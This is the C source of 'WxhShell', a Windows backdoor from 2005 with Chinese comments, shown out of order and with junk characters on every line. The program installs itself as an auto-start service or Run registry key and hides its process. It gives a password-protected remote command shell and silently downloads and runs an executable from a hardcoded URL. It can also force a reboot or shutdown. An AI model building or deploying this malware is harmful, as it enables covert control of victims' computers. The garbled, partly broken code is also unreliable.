  case 'd': { b-*3]gB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6P,vGmR  
    if(Boot(SHUTDOWN)) U -RR>j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xae0xs  
    else { MZYh44  
    closesocket(wsh); 'I$-h<W  
    ExitThread(0); ?:StFlie  
    } Mc8|4/<Z  
    break; [3$L}m  
    } fZQL!j4  
  // 获取shell q/T(s  
  case 's': { qY,z,o AF  
    CmdShell(wsh); v[$-)vs*ag  
    closesocket(wsh); .<xzf4C  
    ExitThread(0); *"cK_MH/o  
    break; lKVy{X 3]*  
  } )"( ojh  
  // 退出 g%C!)UbT  
  case 'x': { 2Y~UeJ_\Lq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !Cqm=q{K  
    CloseIt(wsh); }iGpuoXT`  
    break; $qz(9M(m#  
    } -dRnozs6W  
  // 离开 "n<rP 3y  
  case 'q': { 7JC^+ rk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c}XuzgSY  
    closesocket(wsh); \R"}=7  
    WSACleanup(); 'K|Jg.2  
    exit(1); k8>(-W"A  
    break; Z|78>0SAt  
        } j[E8C$lW  
  } '*4>&V.yX  
  } Oup5LH!sW  
p#14  
  // 提示信息 3K{XT),  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g(X-]/C{  
} r'TxYM-R  
  } [_$r-FA  
:eK(9o  
  return; l ~bjNhk  
} )7X+T'?%  
B: '}SA{  
// shell模块句柄 6CQ.>M:R  
int CmdShell(SOCKET sock) $5(_U  
{ 2 X];zY  
STARTUPINFO si; 2/*F}w/  
ZeroMemory(&si,sizeof(si)); #9R[%R7Nz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !@6P>HzY$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XsH(8-n0  
PROCESS_INFORMATION ProcessInfo; JpI(Vcd  
char cmdline[]="cmd"; `zRE$O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cImOZx  
  return 0; jCJbmEfo9@  
} <5 Ye')+  
os :/-A_m  
// 自身启动模式 ]^f7s36  
int StartFromService(void) 8|-j]   
{ trl:\m  
typedef struct ZQL4<fy'E  
{ [Ej#NHs  
  DWORD ExitStatus; \BRx dK'  
  DWORD PebBaseAddress; UxGr+q  
  DWORD AffinityMask; *8QESF9  
  DWORD BasePriority; N}$$<i2o  
  ULONG UniqueProcessId; _oV;Y`_  
  ULONG InheritedFromUniqueProcessId; z XI [f  
}   PROCESS_BASIC_INFORMATION; >"OwdAvX  
1q?b?.  
PROCNTQSIP NtQueryInformationProcess; PpxLMe]  
qVHXZdGL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )+Nm @+B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?MW *`U  
9+z5 $  
  HANDLE             hProcess; RFsd/K;Zp  
  PROCESS_BASIC_INFORMATION pbi; [RAzKzC\M  
Fi7G S;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'zRi ;:UHA  
  if(NULL == hInst ) return 0; dkHye>  
?&ow:OH+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G,{=sFX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OpNTyKbaD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y v$@i A  
yN'< iTh  
  if (!NtQueryInformationProcess) return 0; fbl8:c)I  
{Df97n%h;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YmBo/IM  
  if(!hProcess) return 0; N WSm  
8+7n"6GY2/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A#b`{C~l  
X0QY:?  
  CloseHandle(hProcess); 8!R +wy  
P#8+GN+bF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  (0wQ [(  
if(hProcess==NULL) return 0; 3?}\Hw  
A:-MRhE9X  
HMODULE hMod; vb&1 S  
char procName[255]; Hm>7|!  
unsigned long cbNeeded; tom1u>1n  
C >@T+xOZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uVSc1 MS1  
*mvDh9v  
  CloseHandle(hProcess); ~o <+tL  
\! *3bR  
if(strstr(procName,"services")) return 1; // 以服务启动 /k$H"'`j4  
6\+ ZTw  
  return 0; // 注册表启动 Q5ZZ4`K!  
} %Voq"}}N  
3 L:s5  
// 主模块 I^u$H&  
int StartWxhshell(LPSTR lpCmdLine) We8n20wf<  
{ N!W# N$  
  SOCKET wsl; EgYM][:UU  
BOOL val=TRUE; O<*l"fw3  
  int port=0; ]-rhc.Gk@1  
  struct sockaddr_in door; ym]12PAU5  
5PcN$r"P  
  if(wscfg.ws_autoins) Install(); MV(Sb:RZ  
fwN'5ep  
port=atoi(lpCmdLine); 6Mh;ld@  
F2N)|C<  
if(port<=0) port=wscfg.ws_port; $ ]fautQlt  
GKk> ;X-  
  WSADATA data; 96VJE,^h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~!Ar`= [  
8et*q3D7`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   brdfj E8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); , GU|3  
  door.sin_family = AF_INET; un&Z' .   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~xp(k  
  door.sin_port = htons(port); 'XbrO|%  
>u-6,[(5X*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K> rZJ[a  
closesocket(wsl); P3W<a4 ==  
return 1; 7\T~K Yb?  
} hx5oTJR  
G\;a_]Q  
  if(listen(wsl,2) == INVALID_SOCKET) { ytDp 4x<W)  
closesocket(wsl); L@&(>  
return 1; %k"qpu  
} z5> {(iY;,  
  Wxhshell(wsl); +=N!37+G  
  WSACleanup(); =JR6-A1>  
5PRS|R7  
return 0; NCXr$ES{  
7GFE5>H  
} DHnO ,"  
^&Exa6=*FT  
// 以NT服务方式启动 +H4H$H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NDqvt$  
{ C4].egVg  
DWORD   status = 0; "44A#0)B'l  
  DWORD   specificError = 0xfffffff; W ZAkp|R  
H}p5qW.tH:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @:ojt$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b@> MA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +n>_NVe  
  serviceStatus.dwWin32ExitCode     = 0; oPbxe  
  serviceStatus.dwServiceSpecificExitCode = 0; [bK5q;#U4  
  serviceStatus.dwCheckPoint       = 0; hi.` O+;  
  serviceStatus.dwWaitHint       = 0; fDzG5}i  
^W*T~V*8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^'Z?BK  
  if (hServiceStatusHandle==0) return; } vzNh_  
C3hQT8~  
status = GetLastError(); 4[.DQ#r  
  if (status!=NO_ERROR) p-S&Wq  
{  45qSt2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K.R4.{mo  
    serviceStatus.dwCheckPoint       = 0; nG~#o  
    serviceStatus.dwWaitHint       = 0; Rn4Bl8z'>  
    serviceStatus.dwWin32ExitCode     = status; jMAZ4M  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?b,x;hIO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jfOqE*frl!  
    return; 5.TeH@(  
  } 3+uCTn0%  
C@ns`Eh8w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BB.^[:,dA  
  serviceStatus.dwCheckPoint       = 0; `p'(:W3a  
  serviceStatus.dwWaitHint       = 0; YTk"'q-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W[R^5{k`  
} [d3i _^\  
Z+%w|Sx  
// 处理NT服务事件,比如:启动、停止 dln1JZ!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h8)m2KrZ!.  
{ GI ;  
switch(fdwControl) xis],.N  
{ })#SjFq<V  
case SERVICE_CONTROL_STOP: }iE!( l  
  serviceStatus.dwWin32ExitCode = 0; zF([{5r[!)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 937 z*mh  
  serviceStatus.dwCheckPoint   = 0; YR? ujN  
  serviceStatus.dwWaitHint     = 0; |l#<vw wE  
  { 4[P]+Z5b+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N6%wHNYZ  
  } Pqtk1=U  
  return; "rJJ~[Y  
case SERVICE_CONTROL_PAUSE: ~ 7^#.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xaw)iC[gI{  
  break; |Vj@;+/j  
case SERVICE_CONTROL_CONTINUE: EG&97l b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )/{zTg8$?/  
  break; p "Cxe  
case SERVICE_CONTROL_INTERROGATE: R?E< }\!  
  break; Xk]:]pl4W  
}; /]@1IC{Lk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a:V2(nY  
} 2Vwv#NAV k  
*)| EWT?,  
// 标准应用程序主函数 IBn+4 2V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hdxon@,+cd  
{ jY|fP!?[  
Mcfqo0T-  
// 获取操作系统版本 \kS:u}Ip!  
OsIsNt=GetOsVer(); oz[Mt i*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H-g CY|W  
+WTO_J7  
  // 从命令行安装  qH9bo-6  
  if(strpbrk(lpCmdLine,"iI")) Install(); M. o}?  
# ^q87y  
  // 下载执行文件 :g~X"C1s  
if(wscfg.ws_downexe) { m~;}8ObQE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R<eD)+  
  WinExec(wscfg.ws_filenam,SW_HIDE); IJQ" *;  
} O+w82!<:  
5 >c,#*  
if(!OsIsNt) { W3M1> (  
// 如果时win9x,隐藏进程并且设置为注册表启动 5B)z}g^h  
HideProc(); 3X>x`  
StartWxhshell(lpCmdLine); ->S# `"@$  
} w40 -K5wt>  
else )xxpO$  
  if(StartFromService()) \ y}!yrQ  
  // 以服务方式启动 _+*+,Vx  
  StartServiceCtrlDispatcher(DispatchTable); vP. ^j7wB  
else \&jmSa=]l  
  // 普通方式启动 pj9*$.{  
  StartWxhshell(lpCmdLine); ] i:WP2  
DPg\y".4Y&  
return 0; uozK'L  
} eR|u']Em>T  
5fjL  
;QS(`SK l  
CxbGL  
=========================================== G}V5PEF]`  
!V~,aoKTj  
g)`;m%DG6  
/JGET  
NfsF'v  
?qt.+2:  
" /73ANQ"  
C &~s<tcn  
#include <stdio.h> hYSzr-)  
#include <string.h> Pu0 <Clh  
#include <windows.h> # KgDOCQH  
#include <winsock2.h> 3IyNnm=u  
#include <winsvc.h> 0Bn35.K  
#include <urlmon.h> 0=erf62=  
w'Vm'zo  
#pragma comment (lib, "Ws2_32.lib") .EB'n{zxd  
#pragma comment (lib, "urlmon.lib") IZSJ+KO  
D3(rD]c0{  
#define MAX_USER   100 // 最大客户端连接数 3`+Bq+  
#define BUF_SOCK   200 // sock buffer N% !TFQf  
#define KEY_BUFF   255 // 输入 buffer #]5A|-O^  
,~nrNkhp  
#define REBOOT     0   // 重启 Cw$7d:u  
#define SHUTDOWN   1   // 关机 r- 8fvBZ5  
(CR]96n  
#define DEF_PORT   5000 // 监听端口 kD\7wz,ui  
yLgv<%8f  
#define REG_LEN     16   // 注册表键长度 oU)Hco"_k  
#define SVC_LEN     80   // NT服务名长度 5i1E 5@~  
(,XbxDfM  
// 从dll定义API VBq|j"o0"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g 5@P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k esuM3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C;\R 62'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6 6C_XT  
1a]QNl_x  
// wxhshell配置信息 !L3\B_#  
struct WSCFG { wi-F@})f#  
  int ws_port;         // 监听端口 >`=9So_J  
  char ws_passstr[REG_LEN]; // 口令 WvN{f*  
  int ws_autoins;       // 安装标记, 1=yes 0=no $, vX yZ  
  char ws_regname[REG_LEN]; // 注册表键名 e.Gjp {  
  char ws_svcname[REG_LEN]; // 服务名 (8td0zq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]WvV*FL9D3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S>;+zVF]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,TlYQ/j%h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1haNpLfS>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pQCocy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PR3&LI;B*  
PdqyNn=  
}; 9$s~ `z)  
/I48jO^2  
// default Wxhshell configuration >!3r7LgK  
struct WSCFG wscfg={DEF_PORT, ;)23@6{R%  
    "xuhuanlingzhe", $i|d=D&t  
    1,  wzf  
    "Wxhshell", CNl @8&R  
    "Wxhshell", wBI>H 7A  
            "WxhShell Service", A/sM ?!p>_  
    "Wrsky Windows CmdShell Service", 3,yzRb  
    "Please Input Your Password: ", tRVz4fk[G  
  1, pg.BOz\'q  
  "http://www.wrsky.com/wxhshell.exe", K};~A?ET,h  
  "Wxhshell.exe" 1"S~#  
    }; P^^WViVX  
Y+nk:9  
// 消息定义模块 ' '<3;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jT*?Z:U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7-VP)|L#G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *X\J[$!  
char *msg_ws_ext="\n\rExit."; :6jh*,OHZl  
char *msg_ws_end="\n\rQuit."; 1!W'0LPM  
char *msg_ws_boot="\n\rReboot..."; f-`C1|\w  
char *msg_ws_poff="\n\rShutdown..."; ] XjL""EbC  
char *msg_ws_down="\n\rSave to "; +lw8YH  
2?nEHIUT  
char *msg_ws_err="\n\rErr!"; %\] x}IC  
char *msg_ws_ok="\n\rOK!"; trz &]v=:  
|a!]Iqz"N  
char ExeFile[MAX_PATH]; @kWRI*m  
int nUser = 0; Cg3 d  
HANDLE handles[MAX_USER]; +} x\|O  
int OsIsNt; O39f  
|ngv{g  
SERVICE_STATUS       serviceStatus; i\dd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ']U<R=5T$  
yrG=2{I  
// 函数声明 S*V!t=  
int Install(void); q,T4- E  
int Uninstall(void); DCKH^J   
int DownloadFile(char *sURL, SOCKET wsh); M \UB r4  
int Boot(int flag); zuS4N?t`p  
void HideProc(void); uc Ph*M  
int GetOsVer(void); B &e'n<  
int Wxhshell(SOCKET wsl); *~kHH  
void TalkWithClient(void *cs); |f3 :9(p  
int CmdShell(SOCKET sock); cRv#aV  
int StartFromService(void); 7;9 Jn  
int StartWxhshell(LPSTR lpCmdLine); |3G;Rh9w,  
bD`h/jYv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #z =$*\u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]cM,m2^2  
r2m&z%N &  
// 数据结构和表定义 [LM9^*sG2V  
SERVICE_TABLE_ENTRY DispatchTable[] = 1#KBf[0  
{ C#TP1~6  
{wscfg.ws_svcname, NTServiceMain}, C."\ a_p  
{NULL, NULL} g\1|<jb3  
}; ?N=`}}Ky-  
;r} yeI Sf  
// 自我安装 R(f6uO!m  
int Install(void) @?*; -]#)  
{ ^$s&bH'8  
  char svExeFile[MAX_PATH]; e2kW,JV/<$  
  HKEY key; }H:wgy`  
  strcpy(svExeFile,ExeFile); LZDJ\"a-  
INY?@in  
// 如果是win9x系统,修改注册表设为自启动 (qzBy \\p  
if(!OsIsNt) { '7 t:.88  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2  ZyO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oQ}K_}{>  
  RegCloseKey(key); '"T9y=9]s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;_#<a*f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M9~6ry-_  
  RegCloseKey(key); $"ACg!=M  
  return 0; ;tC$O~X  
    } JHa\"h  
  } :,V&P_  
} F *1w8+  
else { sh*/wM  
?5;N=\GQ  
// 如果是NT以上系统,安装为系统服务 RZ|M;c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zEt!Pug  
if (schSCManager!=0) W'6sY@0m  
{ F+!9T  
  SC_HANDLE schService = CreateService a U*}.{<!  
  ( N@X(YlO  
  schSCManager, hdwF;  
  wscfg.ws_svcname, Nu euCiP  
  wscfg.ws_svcdisp, 7^<6|>j4  
  SERVICE_ALL_ACCESS, S$ k=70H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <m~{60{  
  SERVICE_AUTO_START, G5ShheZd  
  SERVICE_ERROR_NORMAL, u82(`+B  
  svExeFile, J,J6bfR/  
  NULL, CA5T3J@vAQ  
  NULL, a n0n8l  
  NULL, $HCgawQ  
  NULL, *U- :2uf  
  NULL T+oOlug  
  ); \h?6/@3ob  
  if (schService!=0) @VQ<X4 Za  
  { l{*Ko~g  
  CloseServiceHandle(schService); _*E j3=u  
  CloseServiceHandle(schSCManager); tX6_n%/L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n=?wX#rEC#  
  strcat(svExeFile,wscfg.ws_svcname); *fz#B/ _o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 10xza=a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a(LtiO  
  RegCloseKey(key); ,(&Fb~r]  
  return 0; M 5$JBnN  
    } I&`aGnr^^  
  } i,t!17M:  
  CloseServiceHandle(schSCManager); Ns]$+|  
} jig3M N  
} v3{%U1>}v  
z[@i=avPG  
return 1; m\70&%v  
} Bg}l$?S  
MRg Ozg  
// 自我卸载 2@IL  n+#  
int Uninstall(void) %cBOi_}}~  
{ iNc!z A4  
  HKEY key; N6`U)=2o>h  
iCCe8nK  
if(!OsIsNt) { ]E)\>Jb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'bsHoO  
  RegDeleteValue(key,wscfg.ws_regname); &xZSM,  
  RegCloseKey(key); )+ 'r-AF*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &TL"Hd  
  RegDeleteValue(key,wscfg.ws_regname); :^U>n{   
  RegCloseKey(key); y06xl:iQwF  
  return 0; C_JO:$\rE  
  } Kv)}  
} Fv$A%6;W  
} PpH ;p.-!d  
else { {rK]Q! yj  
(UCCEQq5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zszmG^W{  
if (schSCManager!=0) |6;-P&_n  
{ ||ugb6q[6B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eiXl"R^  
  if (schService!=0) :@a0h  
  { [!MS1v c;  
  if(DeleteService(schService)!=0) { 9dm<(I}  
  CloseServiceHandle(schService); \&~YFjB  
  CloseServiceHandle(schSCManager); RAnF=1[v  
  return 0; 1;'-$K`}  
  } }h1eB~6M  
  CloseServiceHandle(schService); 9C=*>I27?  
  } IZ\fvYp  
  CloseServiceHandle(schSCManager); / DP0K @%  
} 5SZa, +]  
} |5ge4,}0  
EJRkFn8XG'  
return 1; c&,q`_t  
} oz]&=>$1I  
\ \Tz'>[\  
// 从指定url下载文件  D[}^G5  
int DownloadFile(char *sURL, SOCKET wsh) f/s"2r  
{ UR9\g(  
  HRESULT hr; ,7k-LAA  
char seps[]= "/"; ALcPbr  
char *token; z"mpw mv5  
char *file; 8!HB$vdw7  
char myURL[MAX_PATH]; cx ("F /Jm  
char myFILE[MAX_PATH]; h&n1}W+  
s~bi#U;dF  
strcpy(myURL,sURL); t\ a|Gp W  
  token=strtok(myURL,seps); p&5>j\uJ1&  
  while(token!=NULL) y/kB`Z(Yj  
  { CJ7S5   
    file=token; q VI0?B x  
  token=strtok(NULL,seps); =9W\;xE S  
  }  rV4K@)~  
t72rCq QC  
GetCurrentDirectory(MAX_PATH,myFILE); KU*aJl_n,  
strcat(myFILE, "\\"); 4=EA3`l  
strcat(myFILE, file); 2Q\\l @b\  
  send(wsh,myFILE,strlen(myFILE),0); GNEPb?+T  
send(wsh,"...",3,0); g<,0kl2'S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0 q1x+  
  if(hr==S_OK) 0 x' d^  
return 0; d0C _:_  
else 6GPI gPL,  
return 1; wW/q#kc  
X/90S2=P  
} O|)b$H_  
z1 MT@G)S$  
// 系统电源模块 6/?onEL9_  
int Boot(int flag) *,%$l+\h  
{ u`.)O2)xU  
  HANDLE hToken; gujP{Z  
  TOKEN_PRIVILEGES tkp; zx,9x*g  
So8 Dwz?  
  if(OsIsNt) { T:zM]%Xh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :=TIq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1_A_)l11  
    tkp.PrivilegeCount = 1; { PJ>gX$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gk/cP`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HZ2W`wo  
if(flag==REBOOT) { {:#nrD"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UV0[S8A  
  return 0; ,|}mo+rb-  
} V=% ;5/  
else { __FEdO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >KvK'Mus/  
  return 0; b GI){0A  
} kP^A~ZO.  
  } ?@;)2B|q  
  else { ;^0rY)&  
if(flag==REBOOT) { AO]cnh C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "}`)s_rt  
  return 0; qk3|fW/-  
} g}W|q"l?i  
else { A_9J ~3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t89Tt@cf  
  return 0; 5oSp/M  
} **kix  
} dFDf/tH  
wT6zeEV~*  
return 1; Cl9nmyf   
} 7pciB}$2  
O !{YwE8x9  
// win9x进程隐藏模块 >5:O%zQ@  
void HideProc(void) {7@*cB qN  
{ S\< i`q  
3NDddrL9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H?8'(  
  if ( hKernel != NULL ) %)?jaE}[  
  { 9A} *  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r{9fm,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X!^|Tass  
    FreeLibrary(hKernel); 9J?s:"j  
  } -~lq <M  
xk% 62W  
return; z'& fEsjy  
} 5TB6QLPEwY  
0kOwA%m  
// 获取操作系统版本 ow{.iv\,u  
int GetOsVer(void) Z%:>nDZV  
{ S6JXi>n  
  OSVERSIONINFO winfo; &0q pgl|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )Hmf=eoc  
  GetVersionEx(&winfo); /*,_\ ;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ktx| c19  
  return 1; D_0Vu/v  
  else j]<K%lwp  
  return 0; B5|\<CF  
} }UB@FRPF  
S#y[_C?H  
// 客户端句柄模块 G%t>Ll``C  
int Wxhshell(SOCKET wsl) Cd"{7<OyM4  
{ wN4#j}C  
  SOCKET wsh; ]lBCK  
  struct sockaddr_in client; C` ky=  
  DWORD myID; CssE8p>"F  
PBCGC^0{  
  while(nUser<MAX_USER) 2a48(~<_  
{ &k%>u[Bo  
  int nSize=sizeof(client); /G'3!S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3U+FXK#6  
  if(wsh==INVALID_SOCKET) return 1; E KV[cq  
">z3i`#C'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tMX$8W0 c  
if(handles[nUser]==0) :vG0 l\  
  closesocket(wsh); % J^x `P  
else ^zQI_ydG  
  nUser++; M\5|  
  } qE8aX*A1/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #xw*;hW<  
II}M|qHaK  
  return 0; iP"sw0V8  
} +|,4g_(j  
I"vkfi#=  
// 关闭 socket X]D,kKasG  
void CloseIt(SOCKET wsh) DI{*E  
{ ;s/<wx-C  
closesocket(wsh); 4$pV;xV  
nUser--; }}QR'  
ExitThread(0); 3>@VPMi  
} }\?9Prsd  
qrlC U4  
// 客户端请求句柄 9DNp  
void TalkWithClient(void *cs) &~Hed_  
{ znwKwc8,  
ZDW=>}~_y  
  SOCKET wsh=(SOCKET)cs; p|ink):  
  char pwd[SVC_LEN]; Y -a   
  char cmd[KEY_BUFF]; <SI|)M,, 3  
char chr[1]; V+O,y9  
int i,j; 6~x'~T  
MkPQ@so  
  while (nUser < MAX_USER) { KddCR&  
PVBz~rG  
if(wscfg.ws_passstr) { ^x: lB>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C'#)mo_@t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ct w<-'  
  //ZeroMemory(pwd,KEY_BUFF); UgC65O2  
      i=0; lFyDH{!  
  while(i<SVC_LEN) { w&aZ 97{  
8'8`xu$  
  // 设置超时 bHe' U>  
  fd_set FdRead; ]2wxqglh)  
  struct timeval TimeOut; #Or;"}P>fB  
  FD_ZERO(&FdRead); o6k#neB>=.  
  FD_SET(wsh,&FdRead); ~(QfVpRnV=  
  TimeOut.tv_sec=8; VIP7j(#t_g  
  TimeOut.tv_usec=0; /q]rA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f|~{j(.v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T"_'sSI>tF  
4?'vP'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {}$7Bp  
  pwd=chr[0]; EyE#x_A  
  if(chr[0]==0xd || chr[0]==0xa) { Z_\p8@3aH  
  pwd=0; w31Ox1>s  
  break; QkdcW>:a7  
  } y(p_Unm  
  i++; :lcq3iFn  
    } ^!&6 =rb  
eMJ>gXA]  
  // 如果是非法用户,关闭 socket v\Uk?V5T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4 V')FGB$  
} Dp ](?Yr  
rR> X<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  S=(O6+U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o[Jzx2A<  
Go)$LC0Mi  
while(1) { ){5Nod{}a  
k||t<&`Ze  
  ZeroMemory(cmd,KEY_BUFF); S' j g#*$  
T$xB H  
      // 自动支持客户端 telnet标准   &vp KBR ^  
  j=0; |1~n<=`Z  
  while(j<KEY_BUFF) { 'p&,'+x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qUkM No3  
  cmd[j]=chr[0]; 6:7[>|okQ  
  if(chr[0]==0xa || chr[0]==0xd) { ;=ddv@  
  cmd[j]=0; $Iwvecn?I  
  break; _F;v3|`D@<  
  } _qxI9Q}<"  
  j++; ?FQ#I~'<  
    } XVYFyza;  
@Nek;xJ  
  // 下载文件 W&?Qs=@  
  if(strstr(cmd,"http://")) {  <OMwi9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "<!U  
  if(DownloadFile(cmd,wsh)) aixX/se  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JL1ajlm~  
  else WEimJrAn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Co$X+  
  } hJ@vlMW  
  else { ~|V^IJZ22  
faDSyBLo  
